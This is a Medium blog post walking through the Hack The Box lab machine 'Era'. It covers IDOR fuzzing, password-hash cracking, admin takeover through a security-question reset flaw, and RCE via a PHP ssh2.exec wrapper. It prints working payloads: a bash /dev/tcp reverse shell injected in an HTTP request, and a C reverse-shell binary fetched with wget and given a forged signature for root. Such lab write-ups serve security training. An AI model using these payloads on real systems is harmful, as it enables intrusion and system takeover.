MediumHTB: Era Writeup. Era is a medium-difficulty Linux… | by Natius | Medium
Sitemap
Natius

Natius

The Cybersecurity Journal

HTB: Era Writeup

15 min readDec 5, 2025

--

Press enter or click to view image in full size
Era Machine

Era is a medium-difficulty Linux machine that blends web exploitation with a clever twist on binary integrity abuse. The attack surface begins with a custom PHP-based file-upload platform riddled with Insecure Direct Object Reference (IDOR) flaws, weak access controls, and improperly protected administrative functionality. Through service enumeration, virtual host discovery and directory enumeration, these issues broaden into more significant weaknesses, ranging from insecure file management to flawed authentication logic that can be manipulated to retrieve an administrative site backup and ultimately impersonate the admin user.

A closer examination of the application’s source code uncovers a vulnerable file-preview mechanism that misuses PHP stream wrappers, enabling remote code execution through crafted requests. This foothold leads directly into a reverse shell via the application’s SSH integration module. Privilege escalation becomes the final challenge. A root-executed monitoring service relies on superficial signature validation for an ELF binary. This weak validation makes it trivial to craft and substitute a malicious “signed” binary, resulting in full root access.

Era ultimately showcases a complete exploitation chain: service enumeration, virtual host and file discovery, insecure file management, weak access controls, PHP wrapper abuse and a creative privilege escalation vector through flawed signature validation, making it an excellent demonstration of how small security oversights can compound into total system takeover.

About Era

  • OS: Linux
  • Difficulty: Medium
  • Release Date: 26 Jul, 2025

Environment Setup

  • Before beginning the assessment, initialize your working directory and verify connectivity:
mkdir Era && cd Era
ping -c 3 10.10.11.79
Press enter or click to view image in full size
Environment Setup & Checking Connectivity

Network Enumeration

  • To begin mapping the exposed attack surface, a comprehensive Nmap scan is performed using service detection, default scripts and verbose output:
sudo nmap -sCV -vv -oN era.nmap 10.10.11.79

Scan Findings

The scan identifies two open TCP services on the target host:

  • Port 21 (FTP) : Service vsftpd 3.0.5
  • Port 80 (HTTP): The web server responds with a redirect to http://era.htb/, suggesting the use of a virtual host.

Hostname Discovery

  • From Nmap’s output we discover the hostname era.htb, and to interact with the web application the hostname must be resolved locally.
  • This is done by adding the entry below to your /etc/hosts file:
10.10.11.79   era.htb
Press enter or click to view image in full size
Network Enumeration & Hostname Discovery

FTP Enumeration

  • Initial enumeration of the FTP service running on vsftpd 3.0.5 did not reveal any immediately exploitable vulnerabilities.
  • A review of publicly known issues for this version yielded no relevant attack vectors, and a quick searchsploit vsftpd 3.0.5 lookup confirmed the absence of applicable exploits.
  • To verify whether the service allowed unauthenticated access, we attempted to connect directly:
ftp 10.10.11.79
  • As part of standard FTP testing, we attempted the default anonymous login with the common credentials: Name: anonymous; Password: anonymous.
  • However, anonymous authentication was not permitted, leaving us without further avenues to pursue through FTP at this stage. We move on regardless!
Press enter or click to view image in full size
FTP Anonymous Login

Website Content Review

  • With FTP proving unproductive, attention shifted to the web service identified earlier.
  • Navigating to http://era.htb/ revealed a predominantly static website.
Press enter or click to view image in full size
http://era.htb/
  • The About Us section provides context about the fictional company “Era Designs Inc.”, highlighting its focus on interior design and notably, its capability to develop web applications. The information here was largely informational.
Press enter or click to view image in full size
About Us Section
  • Further inspection of the site’s public content reveals a Team section listing several staff members: Tom Rensed — Chief Executive Officer, Kathren Mory — Vice President and Lancer Jack — Senior Manager.
  • Although these names could potentially serve as username candidates, none of them provided any actionable value during enumeration.
Press enter or click to view image in full size
Team Section
  • The Contact section includes an email address, support@era.htb, but it also proved unhelpful in the context of exploitation.
  • Its associated contact form functions as a simple static placeholder, offering no interactive features worth testing for input handling vulnerabilities.
Press enter or click to view image in full size
Contact Section
  • A review of the website’s HTML source code similarly yielded no useful indicators, hidden paths, or embedded functionality, prompting further exploration beyond the static content.

Virtual Host and Subdomain Enumeration

  • To expand the attack surface, virtual host enumeration was conducted using gobuster (though ffuf would be an equally suitable alternative):
gobuster vhost --url http://era.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output era_vhosts.txt
  • — append-domain option automatically appends the base domain (era.htb) to each wordlist entry, generating valid VHost candidates.
  • Threading ( — threads 100) was increased from the default to accelerate the brute-force process. In real-world scenarios, however, high thread counts can raise alerts on monitoring systems — so Operations Security (OpSec) should always be taken into account.
  • The enumeration produced a single valid virtual host: file.era.htb.
  • This host was added to /etc/hosts to ensure proper resolution.
Press enter or click to view image in full size
Virtual Host Enumeration

Exploring file.era.htb

Navigating to http://file.era.htb/ revealed several accessible links:

  • Manage Files
  • Upload Files
  • Update Security Questions
  • Sign In
Press enter or click to view image in full size
http://file.era.htb/

All of these pages redirect to the Sign In portal, indicating authentication is required before any functionality is exposed.

Press enter or click to view image in full size
http://file.era.htb/login.php

A secondary login option is available: “Log in Using Security Questions”. This is noteworthy as we will revise it later.

The form prompts for:

  • Username
  • Mother’s maiden name
  • Name of first pet
  • City of birth
Press enter or click to view image in full size
http://file.era.htb/security_login.php

Submitting placeholder values did not yield any useful feedback or facilitate username enumeration, so this avenue is set aside for now pending further discoveries.

Press enter or click to view image in full size
Submitting Placeholder Values

Directory Enumeration

  • To uncover additional functionality on the file.era.htb virtual host, a directory enumeration scan was performed using gobuster:
gobuster dir --url http://file.era.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --extensions php --exclude-length 162,6765 --threads 100 --no-error --output era_dir_enum.txt
  • --extensions php ensures the scan also checks for PHP files, which are common entry points on custom web applications.
  • --exclude-length filters out repeated responses based on length to allow us get meaningful results.
Press enter or click to view image in full size
Directory Enumeration
  • Most discovered endpoints either returned 403 Forbidden or redirected to login.php, the Sign In portal.
Press enter or click to view image in full size
403 Forbidden Page
  • However, an important exception emerged, register.php.
Press enter or click to view image in full size
Register Page

User Registration via register.php

The /register.php endpoint enabled the creation of new user accounts. During registration, a server-side filter was observed: certain substrings (e.g., or) were sanitized, altering our input. For example. attempting to register with the password password resulted in the stored value passwd. So when you attempt to login in, you will use your password as passwd instead of password.

Once registered, the application redirected to the login page and after signing in, provided access to several new sections:

  • Manage Files
  • Upload Files
  • Update Security Questions
  • Sign Out
Press enter or click to view image in full size
http://file.era.htb/manage.php
  • The Manage Files area displayed uploaded files and related metadata.
  • Upload functionality allowed submitting files, though attempts at common file upload attacks were unsuccessful.
  • Each uploaded file became available through a download link resembling:
http://file.era.htb/download.php?id=8506
Press enter or click to view image in full size
http://file.era.htb/upload.php
  • The parameterized id value suggested the potential for Insecure Direct Object Reference (IDOR) exploitation.
Press enter or click to view image in full size
Download Link on http://file.era.htb/download.php?id=8506

IDOR Testing

  • To automate testing of the id parameter, a fuzzing approach using gobuster was used:
seq 1 9000 > ids.txt && gobuster fuzz --url 'http://file.era.htb/download.php?id=FUZZ' --cookies 'PHPSESSID=iki73t26fmencd8s3tddsn2k5d' --wordlist ids.txt --exclude-length 7686 --output fuzzed_ids.txt
  • seq generates numeric IDs for testing and stores them in the ids.txt file.
  • gobuster fuzz iterates through each ID using an authenticated session cookie.
  • seq 1 9000 was used to include our file id in the results as our downloaded file had the id 8506.
  • To obtain a valid session cookie intercept the download file request:
Press enter or click to view image in full size
Obtaining Session Cookie
  • --exclude length removes common error and unnecessary responses, highlighting unique outputs.
Press enter or click to view image in full size
ID Fuzzing Using Gobuster
  • The valid IDs were discovered, including our own (8506) and two additional ones: 54 and 150.
Press enter or click to view image in full size
Successfully fuzzed IDs

ID 54 — Site Backup

  • Visiting:
http://file.era.htb/download.php?id=54

yielded a downloadable archive: site-backup-30–08–24.zip

  • After extracting:
mkdir site-backup && cd site-backup
7z x ../site-backup-30-08-24.zip

A variety of application files were revealed. Of particular interest:

  • filedb.sqlite — the application’s database.
  • download.php — the backend logic for file retrieval.

Both would prove useful for deeper analysis.

ID 150 — Signing Files

  • Navigating to:
http://file.era.htb/download.php?id=150

allowed retrieval of signing.zip, which was extracted as follows:

mkdir signing && cd signing
7z x ../signing.zip

The archive contained two files:

  • key.pem
  • x509.genkey

These cryptographic files appear related to the application’s signing mechanisms and will become significant later in the privilege escalation phase.

Press enter or click to view image in full size
Extracting Archive Files

Database Analysis and Credential Extraction

  • With access to the site backup, the next step involved examining the SQLite database (filedb.sqlite) to extract user information, file metadata and any potential authentication credentials.
  • The database was inspected using the SQLite CLI:
sqlite3 filedb.sqlite
  • The following queries were issued:
.schema
SELECT * FROM files;
SELECT * FROM users;
SELECT user_name, user_password FROM users;

The schema revealed three primary tables:

  • files — stores file identifies, paths, owner IDs, and timestamps.
  • users — contains user credentials, auto-delete settings, and security question answers.
  • sqlite_sequence — tracks AUTOINCREMENT state.

Reviewing the contents of the users table exposed several accounts along with their hashed passwords.

Press enter or click to view image in full size
Database Analysis

Preparing Hashes for Cracking

  • To streamline cracking with Hashcat, the extracted username:hash pairs were reformatted by replacing pipe separators with colons. Using vim, this was performed with:
:%s/|/:/g
Press enter or click to view image in full size
Reformatting Hashes with Vim
  • Before cracking, it was necessary to identify the hash type. Extracting only the hashes into a file and running hashid produced:
Blowfish(OpenBSD) [Hashcat Mode: 3200]
Press enter or click to view image in full size
Identifying Hash Type with hashid

Cracking the Passwords

  • Using Hashcat (-m 3200) and the rockyou.txt wordlist yielded two successful cracks:
hashcat.exe -m 3200 --username HTB\hashes\hashes HTB\wordlists\rockyou.txt
Press enter or click to view image in full size
Cracking Hashes with Hashcat
  • Displaying the cracked hashes:
hashcat.exe -m 3200 --username HTB\hashes\hashes --show
Press enter or click to view image in full size
Displaying Cracked Hashes
  • Recovered credentials:
eric:america
yuri:mustang
Press enter or click to view image in full size
Recovered Credentials

FTP Access and Configuration Discovery

  • Further analysis revealed that one of the uncracked accounts, admin_ef01cab31aa, is likely the platform’s administrative user. Although the password could not be recovered at this stage, its potential significance should be kept in mind.
  • With the newly obtained credentials, it was time to revisit the earlier FTP service enumeration in hopes of gaining authenticated access:
  • eric:america — 530 Permission denied.
  • yuri:mustang — Login successful.
Press enter or click to view image in full size
Authenticating Credentials Using FTP

Enumerating FTP as yuri

After successfully logging in, directory listing revealed two folders:

  • apache2_conf
  • php8.1_conf

Exploring apache2_conf

Get Natius’s stories in your inbox

Join Medium for free to get updates from this writer.

Within apache2_conf, four Apache configuration files were identified:

  • 000-default.conf
  • apache2.conf
  • file.conf
  • ports.conf

All files were downloaded locally using:

mget *
Press enter or click to view image in full size
FTP Enumeration and File Download
  • A review of their contents showed standard web server configuration data.
Press enter or click to view image in full size
Reviewing FTP File Contents

Exploring php8.1_conf

  • The second FTP directory, php8.1_conf, contained PHP-related configuration files.
  • Among them, the presence of ssh2.so was particularly interesting.
  • This extension enables SSH2 stream wrappers in PHP, potentially allowing remote command execution under certain conditions.
Press enter or click to view image in full size
Enumerating php8.1_conf

Revisiting download.php

  • Returning to the download.php file extracted earlier, one section stood out: a BETA feature reserved for the admin that allows rendering files using PHP wrappers.
  • The key Logic
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];

if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}

try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}

This code demonstrates:

  • The admin can specify a wrapper protocol via format= (e.g., ssh2://, php://, etc.).
  • If the wrapper is valid, it is prepended directly to the file path in an fopen() call.
  • This can lead to command execution capability in our case.
Press enter or click to view image in full size
Code Demonstrating Potential Wrapper-Based Exploitation

Given the earlier discovery of ssh2.so on the FTP server, this functionality becomes particularly promising for exploitation. The extension could allow code execution through SSH2 stream wrappers.

Abusing Security Question Reset Functionality

  • During review of the Update Security Questions feature, an important observation emerged: the form includes a modifiable Username field, implying that users can reset the security questions for any account, not just their own. This weakness becomes crucial when combined with the earlier discovery of the administrative user admin_ef01cab31aa.

Security Question Fields:

  • Username
  • What is your mother’s maiden name?
  • What is the name of your first pet?
  • In which city were you born?
Press enter or click to view image in full size
Update Security Questions Form

Using this functionality, it is possible to reset the security questions for the admin account and authenticate as that user.

Press enter or click to view image in full size
Resetting Security Questions for the Admin User Account

After successfully doing so and logging in as admin_ef01cab31aa, the Manage Files section exposes two familiar archives:

  • site-backup-30–08–24.zip
  • signing.zip
Press enter or click to view image in full size
Loggin in with the Admin User Account

Leveraging the Admin-Only BETA Feature for RCE via SSH2 Wrapper

  • When attempting to download site-backup-30–08–24.zip, the request was intercepted and modified to trigger the admin-only file preview (show=true) functionality.
Press enter or click to view image in full size
Download Option for the Site Backup Archive
  • The format parameter allows use of PHP stream wrappers, including ssh2.exec://, identified earlier within the system’s PHP configuration.

Proof-of-Concept Ping Injection

  • Modified request captured via Burp:
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145; HTTP/1.1

Key points:

  • show=true — activates the admin-only preview mode.
  • format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145 — injects the SSH2 execution wrapper.
  • Trailing ; is required, to separate the command.
  • Local Machine listens for ICMP traffic:
sudo tcpdump -i tun0 -v icmp
  • The response confirms successful execution:
Press enter or click to view image in full size
Intercepting the Download File Request

Obtaining a Reverse Shell

  • A reverse shell payload was injected using the same wrapper:
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.145/9001+0>%261'; HTTP/1.1
  • Setup a listener on the attacking machine:
nc -nlvp 9001
  • A fully interactive shell was obtained as eric user.
  • Shell Upgrade was necessary:
python3 -c 'import pty;pty.spawn("/bin/bash")'
  • Press Ctrl-z
  • We get back to our local terminal. We then enter the command below and press <ENTER> to get the shell prompt for eric user:
stty raw -echo; fg

The stty raw -echo command suppresses the annoying behavior of echoing characters back to you while executing commands.

  • To clear our screen and ensure proper handling of cursor movements:
export TERM=xterm
  • With stable shell access, the user flag was retrieved.

Local Enumeration

  • To Access yuri user account:
su - yuri
  • When prompted enter yuri‘s password.

Sudo privilege checks:

sudo -l
  • Result for both eric and yuri return the error Sorry, user <user> may not run sudo on era.

User and Group Memberships

whoami
id
groups
  • eric belongs to eric and devs groups, interesting results!
  • yuri belongs only to yuri group
Press enter or click to view image in full size
Reverse Shell Acces and Local Enumeration

Checking for Valid Users with a Shell

grep 'sh$' /etc/passwd
  • Valid users are root, eric and yuri

Identifying devs Group Resources

find / -group devs 2>/dev/null
  • Inside /opt/AV/periodic-checks, we have two files monitor binary file and status.log log file
  • This directory is writable by users in the devs group, meaning eric can modify or replace files here, setting the stage for a binary-hijack and signature-abuse privilege escalation path.
Press enter or click to view image in full size
Enumerating Users & devs Group Resources

Privilege Escalation via Cron-Triggered Binary Signature Validation

  • Further analysis revealed that a cron job executes every minute, interacting directly with the monitor binary located in /opt/AV/periodic-checks.
  • This suggested the presence of an automated validation or integrity-checking mechanism.
  • To verify this, pspy was deployed to monitor real-time process activity.
Press enter or click to view image in full size
Downloading and Uploading pspy
  • To run pspy64:
./pspy64

Identifying Cron Activity with pspy

  • After downloading, transferring and running pspy64, the following recurring process chain was observed:
2025/12/05 08:51:07 CMD: UID=0     PID=1      | /sbin/init 
2025/12/05 08:52:01 CMD: UID=0 PID=9834 | /usr/sbin/CRON -f -P
2025/12/05 08:52:01 CMD: UID=0 PID=9835 | /usr/sbin/CRON -f -P
2025/12/05 08:52:01 CMD: UID=0 PID=9836 | bash -c /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9837 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/12/05 08:52:01 CMD: UID=0 PID=9838 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9839 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9842 | grep -oP (?<=UTF8STRING :)Era Inc.
2025/12/05 08:52:01 CMD: UID=0 PID=9840 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9845 | grep -oP (?<=IA5STRING :)yurivich@era.com
2025/12/05 08:52:01 CMD: UID=0 PID=9843 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9846 | /bin/bash /root/initiate_monitoring.sh

Key findings:

  • A cron job triggers /root/initiate_monitoring.sh every minute.
  • The script uses objcopy to extract the .text_sig section from the monitor binary.
  • This strongly suggests signature validation of the binary prior to execution.
  • Since monitor resides in a directory owned by root:devs and is writable by the devs group, user eric (a member of devs) can overwrite it, but only if the replacement includes a valid signature section.

Option 1: Reusing the Extracted Signature for a Malicious Binary

  • Extracting the .text_sig section into text_sig_section.bin:
cd /dev/shm
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
Press enter or click to view image in full size
Extracting text_sig_section.bin

After extracting the .text_sig section into text_sig_section.bin, a custom reverse-shell binary was created locally:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9002 0>&1'");
return 0;
}

Building and Preparing the Malicious Binary

  • On our local machine:
gcc monitor_shell.c -o monitor_shell
python -m http.server
  • On the target machine:
cd /dev/shm
wget http://10.10.14.145:8000/monitor_shell
objcopy --add-section .text_sig=text_sig_section.bin monitor_shell
Press enter or click to view image in full size
Building & Preparing the Malicious Binary
  • The listener was started:
nc -nlvp 9002
  • The malicious binary is then copied over monitor binary file:
cat monitor_shell > /opt/AV/periodic-checks/monitor
  • Within one cron cycle, a root reverse shell was obtained and we can obtain the root flag.
Press enter or click to view image in full size
Getting a Root Reverse Shell

Option 2: Creating a Fully Valid Signed Binary Using Provided Keys

  • The previously downloaded signing.zip archive contained key.pem and x509.genkey
  • These files enable the creation of a properly signed binary that passes the system’s integrity check.

Steps to Build a Signed Malicious Binary:

  • On the local machine:
mkdir monitor_bin && cd monitor_bin
  • Using vim editor create a file vi monitor_shell.c and copy the contents below:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9003 0>&1'");
return 0;
}
  • Compile the monitor_shell.c binary:
gcc monitor_shell.c -o monitor_shell
  • Generate a self-signed certificate:
openssl req -new -x509 -key ../signing/key.pem -out cert.pem -days 365 -config ../signing/x509.genkey

Explanation:

The above command creates a new self-signed x.509 certificate (cert.pem) using the private key key.pem. The certificate is valid for 365 days and uses the settings defined in the OpenSSL config file x509.genkey. This certificate will be used to sign the malicious binary.

  • Sign the binary using Cryptographic Message Syntax (CMS):
openssl cms -sign -in monitor_shell -signer cert.pem -inkey ../signing/key.pem -outform DER -out text_sig_section.sig -nodetach -nosmimecap -nocerts -noattr

Explanation:

The above command digitally signs the monitor_shell binary using the certificate cert.pem and the private key key.pem.

The output is a CMS signature in DER format stored in text_sig_section.sig.

The flag -nodetach embeds the signature directly with the data (no detached signature).

The flags -nosmimecap, -nocerts, -noattr produces a minimal signature without extra metadata, certificates or attributes.

  • Embed the signature into the binary:
objcopy --add-section .text_sig=text_sig_section.sig --set-section-flags .text_sig=readonly monitor_shell
  • Host the binary for upload on the target machine:
python -m http.server
  • On the target machine:
cd /opt/AV/periodic-checks
wget http://10.10.14.145:8000/monitor_shell
cat monitor_shell > monitor
  • Start a listener on the local machine:
nc -nlvp 9003
  • Once the cron job executed, a second root shell was received and we can read the root flag.
Press enter or click to view image in full size
Obtaining a Second Root Shell

Conclusion

The Era machine delivers a realistic, well-designed progression of vulnerabilities that demonstrate how small weaknesses can be chained into a full system compromise. Initial enumeration exposed weak access controls and an IDOR flaw that granted access to sensitive backups and signing materials.

The standout challenge was the privilege-escalation mechanism: a recurring cron job validating a custom-signed binary. By extracting the signature workflow and crafting a malicious binary with a legitimate-looking signature, we bypassed the system’s integrity checks and achieved root access.

Overall, Era is a perfect reminder that when access controls are weak and internal security checks are taken on faith, an attacker can stroll through the system like they’ve been handed the VIP pass. Hasta pronto mis amigos!😎

--

--

Natius
Natius

Written by Natius

The Cybersecurity Journal